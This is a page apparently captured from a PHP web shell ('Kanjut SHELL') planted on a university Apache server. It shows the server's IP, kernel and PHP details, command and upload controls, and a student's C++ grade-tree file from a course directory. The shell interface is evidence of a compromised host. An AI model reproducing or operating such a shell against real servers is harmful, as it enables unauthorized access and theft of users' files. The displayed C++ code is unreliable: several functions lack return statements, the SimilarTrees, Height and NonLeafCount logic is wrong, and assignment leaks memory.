Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.213.36
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/cjabbott/cs311/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cjabbott/cs311/stutree.cpp
// stutree.cpp - implementation file for tree.h

#include <iostream>
using namespace std;

// ------------------- Public Gradetree members ----------------------
//
// These can be called from clients.
// Each has a corresponding recursive private member
// 
// -------------------------------------------------------------------

// default constructor
Gradetree::Gradetree ()
{
   root = NULL;
}

// copy constructor - for deep copies
Gradetree::Gradetree (const Gradetree& othergradetree)
{
   root = copytree (othergradetree.root);
}

// destructor
Gradetree::~Gradetree ()
{
   destroytree (root);
}

// overload assignment for deep copies
void Gradetree::operator= (const Gradetree& othergradetree)
{
   root = copytree (othergradetree.root);
}

// visit inorder and display grades
void Gradetree::Inorder ()
{
   Inorder (root);
}

// visit preorder and display grades
void Gradetree::Preorder ()
{
   Preorder (root);
}

// visit postorder and display grades
void Gradetree::Postorder ()
{
   Postorder (root);
}

// display a sideways "picture" of the tree
void Gradetree::TreePicture ()
{
   Treepicture (root, 1);
}

// add a new grade to the tree
void Gradetree::Insert (int newgrade)
{
   Insert (root, newgrade);
}

// delete one occurrence of a grade from the tree
void Gradetree::Delete (int delgrade)
{
   Delete (root, delgrade);
}
int Gradetree::SumGrades ()
{
   SumGrades (root);
}
int Gradetree::NumGrades ()
{
   NumGrades (root);
}

float Gradetree::AvgGrade ()
{
   if(root == NULL)
        return 0;
   else
        return (1.0*SumGrades() / NumGrades());
}
int Gradetree::NodeCount ()
{
   NodeCount(root);
}
int Gradetree::LeafCount ()
{
   LeafCount(root);
}
int Gradetree::NonLeafCount ()
{
   NonLeafCount(root);
}
bool Gradetree::SimilarTrees (Treenode* othertree)
{
   SimilarTrees(othertree, root);
}
int Gradetree::Height ()
{
   Height(root);
}

// ------------------- Private Gradetree members ----------------------
// 
// These are used by the public members.
// They are necessary to facilitate the recursion.
//
// --------------------------------------------------------------------

// used by copy constructor and operator=
Treenode* Gradetree::copytree (Treenode* t)
{
    Treenode* tmp = NULL;  // for building copy of t

    if (t != NULL)
    {
	tmp = new Treenode;
	tmp->grade = t->grade;
	tmp->count = t->count;
	tmp->left = copytree (t->left);
	tmp->right = copytree (t->right);
    }

    return tmp;
}

// used by destructor
void Gradetree::destroytree (Treenode* t)
{
    if (t != NULL)
    {
	destroytree (t->left);
	destroytree (t->right);
	delete t;
    }
}

void Gradetree::Inorder (Treenode* t)
{
    if (t != NULL)
    {
	Inorder (t->left);
	cout << t->grade << " ";
	Inorder (t->right);
    }
}

void Gradetree::Preorder (Treenode* t)
{
    if (t != NULL)
    {
	cout << t->grade << " ";
	Preorder (t->left);
	Preorder (t->right);
    }
}

void Gradetree::Postorder (Treenode* t)
{
    if (t != NULL)
    {
	Postorder (t->left);
	Postorder (t->right);
	cout << t->grade << " ";
    }
}

void Gradetree::Treepicture (Treenode* t, int level)  // start w/ level == 1
{
    if (t != NULL)
    {
	Treepicture (t->right, level+1);
	for (int i = 1; i < level; i++)  // spacing to "drop" to correct level
		cout << "     ";
	cout << t->grade << "\n";
	Treepicture (t->left, level+1);
    }
}

void Gradetree::Insert (Treenode* &t, int newgrade)
{
    if (t == NULL)  // this is spot where grade belongs
    {
	t = new Treenode;
	t->grade = newgrade;
	t->count = 1;
	t->left = NULL;
	t->right = NULL;
    }
    else  if (newgrade > t->grade)
	Insert (t->right, newgrade);
    else  if (newgrade < t->grade)
	Insert (t->left, newgrade);
    else
	t->count++;
}

void Gradetree::Delete (Treenode* &t, int delgrade) 
{
    if (t == NULL) // grade is not in tree - abort!
        return;
    else if (delgrade < t->grade)
	Delete (t->left, delgrade);
    else if (delgrade > t->grade)
	Delete (t->right, delgrade);
    else  // match found
	if (t->count > 1)  // just subtract if >1 of this grade
	    t->count--;
	else               // need to delete grade node
	{
	    Treenode* temp = t;  // note t is actually parent link to node!
	    if (t->left == NULL && t->right == NULL)  // case 1: delete leaf
	    {
		t = NULL;
		delete temp;
	    }
	    else if (t->left == NULL)  // case 2: no left child, connect to right
	    {
		t = t->right;
		delete temp;
	    }
	    else if (t->right == NULL)  // case 2: no right child, connect to left
	    {
		t = t->left;
		delete temp;
	    }
	    else // yikes - it's a case 3 node!
	    {
		temp = t->left;                // once to left ...
		while (temp->right != NULL)    // ... all the way down right
		    temp = temp->right;    //     to immediate pred.
	        t->grade = temp->grade;        // copy pred to this node
		Delete (t->left, temp->grade); // now delete pred
	    }
	}
}
int Gradetree::SumGrades (Treenode* t)
{
    if(t == NULL)     // no grades in the tree
    	return 0;
    else
   	// returns the sum of the grades in the tree
	return t->grade * t->count + SumGrades(t->left) + SumGrades(t->right);
}
int Gradetree::NumGrades (Treenode* t)
{
    if(t == NULL)     // no grades in the tree
	return 0;
    else
	// returns the number of grades in the tree
	return t->count + NumGrades(t->left) + NumGrades(t->right);
}
int Gradetree::NodeCount (Treenode* t)
{
   if(t == NULL)      // no grades in the tree
	return 0;
   else 
	// returns the number of nodes in the tree
	return 1 + NodeCount(t->left) + NodeCount(t->right);
}
int Gradetree::LeafCount (Treenode* t)
{
   if(t == NULL)      // no grades in the tree
	return 0;
   // if the node has no children then it is a leaf
   else if(t->right == NULL && t->left == NULL)
	return 1;
   else
	return LeafCount(t->left) + LeafCount(t->right);
}
int Gradetree::NonLeafCount(Treenode* t)
{
   if(t == NULL)     // no grades in the tree
	return 0;
   else
	// returns the number of nodes that are not leaves
	return NodeCount() - LeafCount();
}
bool Gradetree::SimilarTrees(Treenode* t, Treenode* othertree)
{
   if( t == NULL && othertree == NULL)
	return true;
   else if( t->right != NULL && t->left != NULL && othertree->right != NULL && othertree->left != NULL)
	return true;
   else
	return false; 
}
int Gradetree::Height(Treenode* t)
{
   if(t == NULL)      // no grades in the tree
	return 0;
   // determines the height of the tree
   else if(t->right == NULL && t->left != NULL)
	return 1 + Height(t->left);
   else
	return 1 + Height(t->right);
}

Stv3n404 - 2023